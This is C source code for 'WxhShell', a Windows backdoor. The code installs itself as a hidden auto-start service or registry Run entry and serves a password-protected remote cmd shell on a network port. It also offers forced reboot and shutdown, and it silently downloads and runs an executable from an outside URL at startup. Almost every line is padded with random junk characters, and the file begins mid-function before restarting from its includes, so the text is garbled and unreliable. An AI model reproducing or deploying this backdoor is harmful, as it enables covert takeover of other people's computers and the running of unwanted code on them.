    if(Boot(SHUTDOWN)) k,+0u/I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "J_9WUN  
    else { >_T-u<E  
    closesocket(wsh); s9DYi~/,  
    ExitThread(0); g*C7 '  
    } tl^9WG  
    break; }Oq5tC@$G  
    } vV-`jsq20H  
  // 获取shell w%jII{@,  
  case 's': { A#iV=76_  
    CmdShell(wsh); ]jp6k<KF  
    closesocket(wsh); 1K50Z.o&@  
    ExitThread(0); Y&Z.2>b  
    break; GH$pKB  
  } bP&]!jZ  
  // 退出 Ean5b>\  
  case 'x': { =W!/Z%^*8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5K8^WK  
    CloseIt(wsh); $5%SNzzl  
    break; q#9RW(o  
    } f?X)k,m  
  // 离开 k=T\\]KxC  
  case 'q': { ?J >  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7?w*]  
    closesocket(wsh); 6q.Uhe_B  
    WSACleanup(); Si;H0uPO  
    exit(1); MeZf*' J  
    break; F0Yd@Lk$_  
        } dJNe+ MB`  
  } n<R?ffy  
  } "'?>fe\qG  
{8bSB.?R  
  // 提示信息 59;KQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pB0 \\wR  
} ^WWQI+pk  
  } &7tbI5na@  
\bvfEP  
  return; &E5g3lf  
} 'c$+sp ?  
%YqEzlzF  
// shell模块句柄 p947w,1![  
int CmdShell(SOCKET sock) N6i Q8P -  
{ R%[ c;i  
STARTUPINFO si; 8$Y9ORs4  
ZeroMemory(&si,sizeof(si)); di )L[<$DY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iSs:oH3l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [FR`Z=%  
PROCESS_INFORMATION ProcessInfo; oE]QF.n#  
char cmdline[]="cmd"; -]M5wb2,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G2: agqL/  
  return 0; 8VXH+5's  
} _u QOHwn  
8&b,qQ~  
// 自身启动模式 C,|,-CY  
int StartFromService(void) %| Lfuz*  
{ ^SrJu:Q_  
typedef struct OYn}5RN  
{ FXkM#}RgNm  
  DWORD ExitStatus; > /caXvS  
  DWORD PebBaseAddress; )bscBj@  
  DWORD AffinityMask; ][Rh28?I{  
  DWORD BasePriority; FJ)$f?=Qd  
  ULONG UniqueProcessId; n,WqyNt*  
  ULONG InheritedFromUniqueProcessId; -m~#Bq  
}   PROCESS_BASIC_INFORMATION; PALc;"]O  
:,6\"y-  
PROCNTQSIP NtQueryInformationProcess; aO4?m+  
{;6`_-As%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &6nWzF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~oY^;/ j  
\z(gqkc 6  
  HANDLE             hProcess; ?^\|-Gr  
  PROCESS_BASIC_INFORMATION pbi; Z"fJ`--  
.U]-j\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \LexR.Di  
  if(NULL == hInst ) return 0; pIqeXY  
c'yxWZEv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C1 *v,i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r3UUlR/Do  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1/J=uH  
9~[Y-cpoi  
  if (!NtQueryInformationProcess) return 0; kMN~Y  
< h *4Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ER.}CM6{[  
  if(!hProcess) return 0; k@W1-D?  
U&p${IcEm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P@c5pc#|  
aAUvlb  
  CloseHandle(hProcess); r\^b(rNe  
., 6-u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -e:`|(Mo  
if(hProcess==NULL) return 0; Z/+#pWBI!  
c\AfaK^KF  
HMODULE hMod; ;u)I\3`*!  
char procName[255]; 1bX<$>x9u  
unsigned long cbNeeded; [`7ThHX  
mc\"yC ^s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B^^#D0<  
$-sHWYZ  
  CloseHandle(hProcess); Uz]|N6`  
oXF.1f/h  
if(strstr(procName,"services")) return 1; // 以服务启动 #QMz<P/Gl6  
)\$|X}uny&  
  return 0; // 注册表启动 97!;.f-  
} dvUic-w<j  
g3y+&Y_  
// 主模块 U # qK.  
int StartWxhshell(LPSTR lpCmdLine) pFjK}J OF  
{ @~a%/GQ#n*  
  SOCKET wsl; TarY|P7_  
BOOL val=TRUE; 1iF1GkLEq  
  int port=0; II,8O  
  struct sockaddr_in door; KPUV@eQ,  
TuaBm1S{f  
  if(wscfg.ws_autoins) Install(); h@ry y\9  
9XB8VKu8  
port=atoi(lpCmdLine); [/8%3  
nAdf=D'P  
if(port<=0) port=wscfg.ws_port; IjnU?Bf  
'TB2:W3  
  WSADATA data; _X x/(.O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :d'8x  
wk_@R=*(\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `VguQl_,gA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b4N[)%@  
  door.sin_family = AF_INET; 7B66]3v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #o#H?Vo9b  
  door.sin_port = htons(port); a9V,es"BWQ  
R0*|Lo$6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X#^[<5  
closesocket(wsl); Slc\&Eb  
return 1; tc_3sC7jN  
} `r 3  
jAlv`uB|G"  
  if(listen(wsl,2) == INVALID_SOCKET) { %d9uTm;  
closesocket(wsl); >i?oC^QM  
return 1; O?#7N[7  
} 4{|"7/PE1  
  Wxhshell(wsl); wN~_v-~*Q  
  WSACleanup(); .HABNPNg(  
V(!V_Ug9.  
return 0; uW %#  
A|{(/G2*  
} (CWtLi"z  
\:LW(&[!  
// 以NT服务方式启动 $6R-5oQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s6`?LZ0(z  
{ /od@!/  
DWORD   status = 0; dioGAai'  
  DWORD   specificError = 0xfffffff; O5BYD=7  
gw<q.XL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =>~:<X.,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E|shs=I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8P\Zo8}v  
  serviceStatus.dwWin32ExitCode     = 0; W ]8 QM1$  
  serviceStatus.dwServiceSpecificExitCode = 0; j8:\%|  
  serviceStatus.dwCheckPoint       = 0; J\=*#*rJ1  
  serviceStatus.dwWaitHint       = 0; kvu)y`  
((%? `y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P?P#RhvA1  
  if (hServiceStatusHandle==0) return; )MT}+ai  
@gK?\URoT  
status = GetLastError(); R 2vlFx/  
  if (status!=NO_ERROR) -X6PRE5a2  
{ LCV(,lu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xne1gms  
    serviceStatus.dwCheckPoint       = 0; dft!lBN  
    serviceStatus.dwWaitHint       = 0; BDQsP$'6QT  
    serviceStatus.dwWin32ExitCode     = status; S~G ]~gt  
    serviceStatus.dwServiceSpecificExitCode = specificError; +D*Z_Yh6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >9Vn.S  
    return; o}p n0KO,  
  } ,zY{  
xxQ;xI0+]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -jm Y)(\  
  serviceStatus.dwCheckPoint       = 0; zX i 'kB  
  serviceStatus.dwWaitHint       = 0; p0eX{xm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J C}D` h  
} |-~Y#]  
Pr C{'XDlU  
// 处理NT服务事件,比如:启动、停止 a(ZcmYzXU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {Qj~M<@3  
{ @oGcuE  
switch(fdwControl) +:/%3}`  
{ :7;@ZEe  
case SERVICE_CONTROL_STOP: H3oFORh  
  serviceStatus.dwWin32ExitCode = 0; "_?nN"A7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pEz_qy[#  
  serviceStatus.dwCheckPoint   = 0; w_VP J  
  serviceStatus.dwWaitHint     = 0; 0JujesUw(  
  { Zx>=tx}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;8 lfOMf  
  } vW@=<aS Z  
  return; Y8t8!{ytg  
case SERVICE_CONTROL_PAUSE: P[fq8lDA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ab;.5O$y  
  break; n~Lt\K:  
case SERVICE_CONTROL_CONTINUE: )D%~` ,#pQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WUTowr  
  break; 7F.4Ga;  
case SERVICE_CONTROL_INTERROGATE: .*Qx\,  
  break; YuwI&)l  
}; |;{6& S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 _[L o4_  
} cso8xq|b7  
tfWS)y7  
// 标准应用程序主函数 %\:Wi#w>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .x&%HA  
{ u)Whr@m  
8H`[*|{'  
// 获取操作系统版本 ;<4a*;IO  
OsIsNt=GetOsVer(); <%mRSv  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  4Wp=y  
uhq8   
  // 从命令行安装 bcz:q/f}@  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9: lFo=  
oxtay7fx  
  // 下载执行文件 F((4U"   
if(wscfg.ws_downexe) {  05^h"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {Y1Ck5  
  WinExec(wscfg.ws_filenam,SW_HIDE); tpx2 IE  
} -$g#I  
r: :b  
if(!OsIsNt) { 62NsJ<#>  
// 如果时win9x,隐藏进程并且设置为注册表启动 PQE =D0  
HideProc(); o5)<$P43  
StartWxhshell(lpCmdLine); e+=K d+:k  
} iN.n8MN=I  
else $<OD31T  
  if(StartFromService()) y>ktcuML  
  // 以服务方式启动 eszG0Wu  
  StartServiceCtrlDispatcher(DispatchTable); 43 :X,\~)  
else 1xx}~|F?|  
  // 普通方式启动 1B\WA8  
  StartWxhshell(lpCmdLine); .jK4?}]  
tT._VK]o&R  
return 0; Ew$C ;&9  
} NX&_p!_V  
dQG=G%W  
f?)-}\[IR{  
@E8+C8'  
=========================================== HE\K@3-  
[_:nHZb  
[<TrS/,)>  
- ! S_ryL  
 f)<6  
CU~PT.  
" 23jwAsSo  
OcO3v'&  
#include <stdio.h> iJ|uvPCE  
#include <string.h> Y|/ 8up  
#include <windows.h> Y\hBd$lQ~  
#include <winsock2.h> 6E}qL8'5x  
#include <winsvc.h> .ccp  
#include <urlmon.h> VG~Vs@c(  
KG{St{uJ  
#pragma comment (lib, "Ws2_32.lib") ,iwp,=h=  
#pragma comment (lib, "urlmon.lib") IUct  
EBmt9S  
#define MAX_USER   100 // 最大客户端连接数 nT)vNWT=  
#define BUF_SOCK   200 // sock buffer EEL,^3KR  
#define KEY_BUFF   255 // 输入 buffer iam1V)V  
-%4,@ x`  
#define REBOOT     0   // 重启 {7pli{`  
#define SHUTDOWN   1   // 关机 D3K8F@d  
~bpgSP"  
#define DEF_PORT   5000 // 监听端口 r@,2E6xn  
]]Ufas9  
#define REG_LEN     16   // 注册表键长度 i{qgn%#}Y  
#define SVC_LEN     80   // NT服务名长度 9o!Bzy+_  
|gY^)9ei  
// 从dll定义API 8a"%0d#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xe$_aBU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ft Wv~Eh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EB|}fz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N4HqLh23H  
?Ss!e$jf  
// wxhshell配置信息 ]J]h#ZHx  
struct WSCFG { ^d73Ig:8q  
  int ws_port;         // 监听端口 kAGBdaJ"  
  char ws_passstr[REG_LEN]; // 口令 Jfl!#UAD|n  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6-ils3&  
  char ws_regname[REG_LEN]; // 注册表键名 <=C?e<Y  
  char ws_svcname[REG_LEN]; // 服务名 @=f\<"$vt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3irl (;v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '/%H3A#L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {+b7sA3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p{dj~ &v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /z$ u]X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pI<f) r  
l}M!8:UzU  
}; 1yY0dOoLG)  
S`Rs82>  
// default Wxhshell configuration [=`q>|;pOv  
struct WSCFG wscfg={DEF_PORT, hK|Ul]qI  
    "xuhuanlingzhe", E&:,oG2M  
    1, I1&aM}y{G  
    "Wxhshell", MnW+25=N  
    "Wxhshell", k$}fWR  
            "WxhShell Service", q- d:TMkc  
    "Wrsky Windows CmdShell Service", Y`wSv NU  
    "Please Input Your Password: ", 8*a&Jl  
  1, `~q<N  
  "http://www.wrsky.com/wxhshell.exe", r9G>jiw8  
  "Wxhshell.exe" L9#g)tf 8T  
    }; jZr q{Z<  
Eu04e N  
// 消息定义模块 seeB S/%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 18:%~>.!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0+b1vhQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #C@FYO f*  
char *msg_ws_ext="\n\rExit."; ,5<Cd,`*  
char *msg_ws_end="\n\rQuit."; .(2ik5A%9  
char *msg_ws_boot="\n\rReboot..."; 3"\lu?-E  
char *msg_ws_poff="\n\rShutdown..."; Pj% |\kbNs  
char *msg_ws_down="\n\rSave to "; \Y}8S/]  
mpJ#:}n  
char *msg_ws_err="\n\rErr!"; Wo=jskBrQ  
char *msg_ws_ok="\n\rOK!"; `Ryp% Bn  
<1M-Ro?5k  
char ExeFile[MAX_PATH]; Aq7osU1B  
int nUser = 0; @7n"yp*"  
HANDLE handles[MAX_USER]; \1Em`nvOX  
int OsIsNt; r" ,GC]  
sCHJ&>m5-  
SERVICE_STATUS       serviceStatus; NQ2E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [}]Q?*_  
S>1Iky|  
// 函数声明 -A!%*9Z  
int Install(void); 7Hu3>4<  
int Uninstall(void); J5jvouR  
int DownloadFile(char *sURL, SOCKET wsh); jEJT-*I1+  
int Boot(int flag); uM6+?A9@l  
void HideProc(void); k"w"hg&e  
int GetOsVer(void); k|d+#u[Mj@  
int Wxhshell(SOCKET wsl); $* Kvc$D  
void TalkWithClient(void *cs); wLr_-vJ  
int CmdShell(SOCKET sock); wq`Bd  
int StartFromService(void); }RqK84K  
int StartWxhshell(LPSTR lpCmdLine); >[*qf9$  
*c+ (-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); < c/5b]No  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *~i ])4  
/&94 eC  
// 数据结构和表定义 ,zY$8y]  
SERVICE_TABLE_ENTRY DispatchTable[] = 'uEl~> l7  
{ 2jhxQL  
{wscfg.ws_svcname, NTServiceMain}, 1|wL\I  
{NULL, NULL} f& '  
}; N]sAji*  
I,8Er2;)  
// 自我安装 C;urBsC  
int Install(void) uGlUc<B\*  
{ q'8 2qY  
  char svExeFile[MAX_PATH]; HHsmLo c4  
  HKEY key; U4B( #2'  
  strcpy(svExeFile,ExeFile); wD)XjX  
~e@z;]CiY  
// 如果是win9x系统,修改注册表设为自启动 TRq6NB  
if(!OsIsNt) { "9e\c;a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v_-dx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c0u^zH<  
  RegCloseKey(key); DR<9#RRD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G'A R`"F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0"bcdG<}  
  RegCloseKey(key); ea')$gR  
  return 0; C3YT1tK  
    } w`zTR0`  
  } ~Jz6O U*z  
} ixD)VcD-f  
else { CzEd8jeh7  
/t"3!Z?BOv  
// 如果是NT以上系统,安装为系统服务 _aT5jR=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E~oOKQ5W  
if (schSCManager!=0) Y0 -n\|  
{ ?(i{y~  
  SC_HANDLE schService = CreateService *!7 O~yQ  
  ( d-dEQKI?;  
  schSCManager, N<injx  
  wscfg.ws_svcname, e**qF=HCw  
  wscfg.ws_svcdisp, \P`hq^;  
  SERVICE_ALL_ACCESS, >\3V a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &KRX[2  
  SERVICE_AUTO_START, Npy :!  
  SERVICE_ERROR_NORMAL, 6~w@PRy  
  svExeFile, N//K Ph  
  NULL, #O dJ"1A|  
  NULL, *bA.zmzM  
  NULL, "1 M[5\Ax  
  NULL, V 6reqEh  
  NULL R/z=p_6p7`  
  ); 6jLCU%^  
  if (schService!=0) 9mTJ|sN:e  
  { hZ  
  CloseServiceHandle(schService); ;MdlwQ$`  
  CloseServiceHandle(schSCManager); dNeVo|Y~h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A2jUmK.&  
  strcat(svExeFile,wscfg.ws_svcname); q5)O%l!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DlMW(4(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 81 sG  
  RegCloseKey(key); x+@rg];m  
  return 0; N5b!.B x-w  
    } Ej8^Zg  
  } DN57p!z  
  CloseServiceHandle(schSCManager); o:Sa, !DK  
} &FN.:_E  
} ckE-",G  
2a Q[zK  
return 1; ?+}_1x`  
} 'AS|ZRr/  
b2&0Hx  
// 自我卸载 vnZC,J `  
int Uninstall(void) E#N|w q  
{ ZX./P0  
  HKEY key; `&ckZiq  
]|P iF+  
if(!OsIsNt) { _^%,x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zue~ce73J  
  RegDeleteValue(key,wscfg.ws_regname); ^sLdAC  
  RegCloseKey(key); Cd}<a?m,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VQ9/Gxdeo  
  RegDeleteValue(key,wscfg.ws_regname); ) ahA[  
  RegCloseKey(key); Fyatd  
  return 0; IKilr'  
  } 6zuTQ^pz  
} fHd#u%63K  
} $C$V%5aA  
else { <1${1A <Wa  
[j/9neaye  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N~zdWnSZ@G  
if (schSCManager!=0) #fn)k1  
{ 6fEqqUeV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K/yxE|w<  
  if (schService!=0) Uf;^%*P4  
  { R|87%&6']  
  if(DeleteService(schService)!=0) { K} X&AJ5A  
  CloseServiceHandle(schService); _TQj~W<  
  CloseServiceHandle(schSCManager); }l} Bo.C  
  return 0; Iom'Y@x  
  } 30T)!y  
  CloseServiceHandle(schService); O.M>+~Nw  
  } 5IjGm  
  CloseServiceHandle(schSCManager); |~mOfuQb  
} ra gXn  
} O`t&ldU  
l L@XM2"  
return 1; y(yHt= r  
} `Cynj+PCe  
!9VY|&fHe  
// 从指定url下载文件 -3Z,EaG^  
int DownloadFile(char *sURL, SOCKET wsh) 1JG'%8}#8  
{ L2i_X@/  
  HRESULT hr; ~YWQ2]  
char seps[]= "/"; wIaony  
char *token; ?Z[[2\DR  
char *file; j[J-f@F \Y  
char myURL[MAX_PATH]; u[=r,^YQ  
char myFILE[MAX_PATH]; 0gP}zM73  
X[BIA+6  
strcpy(myURL,sURL); 0)e\`Bv  
  token=strtok(myURL,seps); A&Usddcp  
  while(token!=NULL) ~/iKh1 1  
  { 9`X\6s  
    file=token; 1FL~ndJs  
  token=strtok(NULL,seps); LxSpctiNx  
  } !")tU+:  
h_3E)jc  
GetCurrentDirectory(MAX_PATH,myFILE); 0#Y5_i|p  
strcat(myFILE, "\\"); a:OQGhc=  
strcat(myFILE, file); ~1AgD-:Jz  
  send(wsh,myFILE,strlen(myFILE),0); `MN4uC  
send(wsh,"...",3,0); ,77d(bR<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CXx*_@}MU  
  if(hr==S_OK) \\H}`0m:  
return 0; '"/=f\)u  
else !6O(-S2A  
return 1; .glA gt  
;) z:fToh  
} Y0dEH^I  
x,@B(9No  
// 系统电源模块 Gd xnpE  
int Boot(int flag) V]e8a"/[{  
{ Eib5  
  HANDLE hToken; /cQueUME`  
  TOKEN_PRIVILEGES tkp; _P 3G  
lc1(t:"[  
  if(OsIsNt) { ;LPfXpR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^Hnb }L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CMG&7(MR  
    tkp.PrivilegeCount = 1; UapC"XYJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aU "8{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); li'YDtMKCY  
if(flag==REBOOT) { :B5Fdp3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RVA (Q[ ;  
  return 0; Val|n*%  
} :W.(S6O(  
else { p\tm:QWD;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 03qQ'pq  
  return 0; r Iu$pZO  
} S\YTX%Xm}  
  } N06OvU2>xU  
  else { %G/ hD  
if(flag==REBOOT) { ^?7-r6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (pCrmyB  
  return 0; FQ7T'G![  
} < #}5IQ5`Z  
else { Q4!_>YZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =9boya,>  
  return 0; aFb==73aLw  
} .B]MpmpK  
} IS{wtuA.  
pnowy;  
return 1; ~Z?TFg  
} Xq]w<$  
Fa Qe_;  
// win9x进程隐藏模块 b_#m}yZ6  
void HideProc(void) ~hnQUS`A  
{ ll<Xz((o  
oim9<_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t?x<g<PJ4  
  if ( hKernel != NULL ) wOEj)fp .  
  { ,c$_t+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j_!F*yul  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fF$<7O)+]  
    FreeLibrary(hKernel); L_uVL#To  
  } NMa}{*sQ  
:uq\+(9  
return; ,]ma+(|  
} UXc-k  
a}BYov  
// 获取操作系统版本 6ryak!|[  
int GetOsVer(void) u~M q*  
{ Pw7]r<Q  
  OSVERSIONINFO winfo; .9on@S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z0p*Z&  
  GetVersionEx(&winfo); X<`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F3v !AvA|  
  return 1; x=hiQ>BIO0  
  else pMx*F@&nU  
  return 0; I {S;L  
} b9KP( _  
HZzDVCU  
// 客户端句柄模块 G_3O]BMKd)  
int Wxhshell(SOCKET wsl) iZ3IdiZ  
{ /7nb,!~~l  
  SOCKET wsh; G~^r)fm_  
  struct sockaddr_in client; fo*2:?K&  
  DWORD myID; H1pO!>M  
/yDz/>ID\  
  while(nUser<MAX_USER) cz#rb*b  
{ 6y%qVx#!  
  int nSize=sizeof(client); c)TPM/>(p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *v jmy/3  
  if(wsh==INVALID_SOCKET) return 1; h:b)Wr  
nX6u(U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DkY4MH?  
if(handles[nUser]==0) |"X*@s\'  
  closesocket(wsh); xaq-.IQAM$  
else 8rnwXPBN  
  nUser++;  N_kMK  
  } | C;=-|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z58 X5"  
(Ft+uuG  
  return 0; jiV<+T?  
} ^EtMxF@D  
IXMop7~  
// 关闭 socket ITE{@1  
void CloseIt(SOCKET wsh) Xk~D$~4<  
{ =\&;Fi]  
closesocket(wsh); =V, mtT  
nUser--; DbBcQ%  
ExitThread(0); a?I= !js  
} b(eNmu  
iTBx\ u%{  
// 客户端请求句柄  &=@IzmA  
void TalkWithClient(void *cs) 5Md=-,'J!  
{ fIx+IL s  
%B2'~|g  
  SOCKET wsh=(SOCKET)cs; $-OA'QwB]  
  char pwd[SVC_LEN]; |B?m,U$A!  
  char cmd[KEY_BUFF]; APn|\  
char chr[1]; m)ky*"(  
int i,j; :[p}  
59LZv-l  
  while (nUser < MAX_USER) { )al]*[lY  
VZp5)-!\  
if(wscfg.ws_passstr) { !_]Y~[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ''A_[J `>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2@n{yYwy  
  //ZeroMemory(pwd,KEY_BUFF); [`#CXq'  
      i=0; @ wGPqg  
  while(i<SVC_LEN) { SB;&GHq"n  
e/KDw  
  // 设置超时 !fV+z%:  
  fd_set FdRead; Avge eJi  
  struct timeval TimeOut; j"t(0 m  
  FD_ZERO(&FdRead); IA fc T!{  
  FD_SET(wsh,&FdRead); 1*P~!2h  
  TimeOut.tv_sec=8; .wEd"A&j  
  TimeOut.tv_usec=0; *<$*"p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SXSgld2uS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aq>kTaz  
& TCkpS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zq 3\}9  
  pwd=chr[0]; }kw#7m54  
  if(chr[0]==0xd || chr[0]==0xa) { @+&LYy72  
  pwd=0; DTX0  
  break; DzAg"6=CS  
  } yJ[0WY8<kC  
  i++; QGMV}y  
    } JinUV6cr  
\0^Kram>  
  // 如果是非法用户,关闭 socket 70 yFaW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fF!Yp iI"  
} h/QXPdV  
!4ocZmj\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); po c`q5i+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -mbt4w  
w1F cB$  
while(1) { +r�  
u4*BX&  
  ZeroMemory(cmd,KEY_BUFF); U45e2~1!O  
$!-yr7  
      // 自动支持客户端 telnet标准   k90YV(  
  j=0; W- $Z(Z XL  
  while(j<KEY_BUFF) { XnH05LQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3p$?,0ELH  
  cmd[j]=chr[0]; @JiLgIe `  
  if(chr[0]==0xa || chr[0]==0xd) { 0.Q Ujw  
  cmd[j]=0; %HhBt5w  
  break; pN, u`[  
  } 'NbHa!  
  j++; G~]Uk*M q  
    } >1X|^  
[@_Jj3`4  
  // 下载文件 Ucb F|vkI  
  if(strstr(cmd,"http://")) { .y'>[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1>.Ev,X+e  
  if(DownloadFile(cmd,wsh)) \:P>le'1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DcS+_>a\{l  
  else lwR<(u31e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FBG4pb9=~  
  } K$z2YJ%  
  else {  }t!Gey  
j\ZXG=j  
    switch(cmd[0]) { b3P+H r  
  Yz9owe8}[  
  // 帮助 !@5 9)  
  case '?': { x o;QCOH  
